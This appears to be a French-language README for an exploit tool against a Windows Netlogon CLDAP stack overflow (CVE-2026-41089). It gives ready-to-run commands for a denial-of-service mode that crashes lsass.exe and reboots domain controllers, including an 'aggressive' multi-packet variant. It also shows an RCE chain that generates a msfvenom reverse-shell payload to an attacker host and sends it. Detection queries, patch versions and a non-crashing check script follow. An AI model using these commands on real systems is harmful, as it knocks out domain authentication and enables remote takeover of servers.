
CVE-2026-41089 est une vulnérabilité critique d'exécution de code à distance dans le service Windows Netlogon ; un seul paquet peut faire planter lsass.exe, provoquant le redémarrage du contrôleur de domaine en 30 à 60 secondes. Pendant cette période, toute authentification de domaine sur ce DC échouera.
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critique)
CWE: CWE-121 (Débordement de tampon basé sur la pile)
Vecteur d'attaque: UDP/389 (CLDAP SearchRequest)
Impact: Exécution de code à distance (RCE) / Déni de service (DoS)
Versions affectées: Windows Server 2012 R2 ~ 2025 (Contrôleurs de domaine)
Correctif: Mise à jour cumulative de mai 2026
La fonction NetpLogonPutUnicodeString dans netlogon.dll présente une vulnérabilité de débordement de tampon de pile lors du traitement des requêtes de recherche CLDAP. Cette fonction reçoit un budget de longueur en octets, mais l'interprète comme un nombre de WCHAR, ce qui entraîne une écriture 2 fois supérieure à celle attendue.
Le débordement se produit dans le tampon de pile fixe de 528 octets (264 ushort) de la fonction NlGetLocalPingResponse. Le champ User contrôlé par l'attaquant, combiné au nom de domaine DNS du serveur lui-même, remplit ce tampon, finissant par écraser le cookie de sécurité GS, provoquant __report_gsfailure et le crash de lsass.exe.
NtVer=0x02 dans la requête CLDAP SearchRequest (force l'utilisation de l'ancien chemin vulnérable BuildSamLogonResponse)User ≥ ~130 caractères (limite binaire d'environ 260 octets UTF-16)Remarque:
NtVer=0x16(valeur utilisée par de nombreux scripts de détection publics) déclenche le chemin sécuriséBuildSamLogonResponseExet ne déclenche pas la vulnérabilité.
| Mode | Description |
|---|---|
--mode dos | Envoie un paquet CLDAP soigneusement construit, provoquant le crash de LSASS et le redémarrage du DC (~60 secondes d'interruption d'authentification) |
--mode rce | Tente une exécution de code à distance (niveau recherche, nécessite un shellcode) |
--mode scan | Scanne les réponses pour différentes valeurs NtVer, effectue une empreinte du DC cible |
--mode auto | Détecte automatiquement et sélectionne la meilleure stratégie d'attaque |
Un seul paquet suffit à faire planter lsass.exe, provoquant le redémarrage du contrôleur de domaine en environ 30 à 60 secondes. Pendant cette période, toutes les authentifications de domaine sur ce DC échoueront.
# Utilisation de base — envoie 3 paquets
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# Attaque rapide à paquet unique
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# Mode agressif — 5 paquets en parallèle
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ Niveau recherche — peu fiable et instable en environnement réel.
Le RCE fait face aux défis suivants :
# Générer le shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# Envoyer la chaîne RCE
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# Effectuer une empreinte du DC cible
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
Exemple de sortie attendue (cible corrigée) :
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Exemple de sortie attendue (cible non corrigée) :
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Si NtVer=0x02 expire alors que les autres versions répondent normalement, la cible est très probablement vulnérable.
| Paramètre | Description | Valeur par défaut |
|---|---|---|
-l, --user-len | Longueur du champ nom d'utilisateur (nombre de caractères ASCII) | 180 |
--ntver | Valeur NtVer (hexadécimal, ex. 0x02) | 0x02 |
--count | Nombre de paquets DoS envoyés | 3 |
--delay | Délai entre les paquets (secondes) | 0.5 |
-t, --timeout | Délai d'expiration du socket (secondes) | 5.0 |
--json | Sortie des résultats au format JSON | — |
--raw | Affiche le paquet brut en hexadécimal avant l'envoi | — |
--quiet | Supprime l'affichage de la bannière | — |
--shellcode-file | Fichier shellcode personnalisé (x64 brut) | — |
--lhost | Adresse d'écoute du reverse shell | — |
--lport | Port d'écoute du reverse shell | 4444 |
# Créer un DC avec un nom de domaine long sur Windows Server (non corrigé) :
# 1. Promouvoir en contrôleur de domaine (nom de domaine DNS très long, par exemple "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. Vérifier que les correctifs antérieurs à mai 2026 sont installés
# 3. Exécuter depuis la machine attaquante :
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. Observer le crash et le redémarrage du DC
User > 100 octets et NtVer = 0x02 sur UDP/389Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Version de Windows Server | Numéro de version corrigée | Remarques |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
# Script de détection sécurisé — ne fait pas planter la cible
python detect_CVE-2026-41089.py <DC_IP> <DOMAIN>
# Sortie JSON (adaptée au scan par lots)
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --json
# Afficher les étapes de vérification du correctif
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --check-patch
Principe de détection : envoie de courtes requêtes CLDAP avec NtVer=0x02 (déclenche le chemin vulnérable) et NtVer=0x16 (chemin sécurisé). Si 0x02 expire mais que 0x16 répond normalement, la cible est très probablement vulnérable.
# Vérifier les mises à jour installées
Get-HotFix | Where-Object {$_.InstalledOn -gt '2026-05-01'}
# Installer la dernière mise à jour
Install-WindowsUpdate -AcceptAll -AutoReboot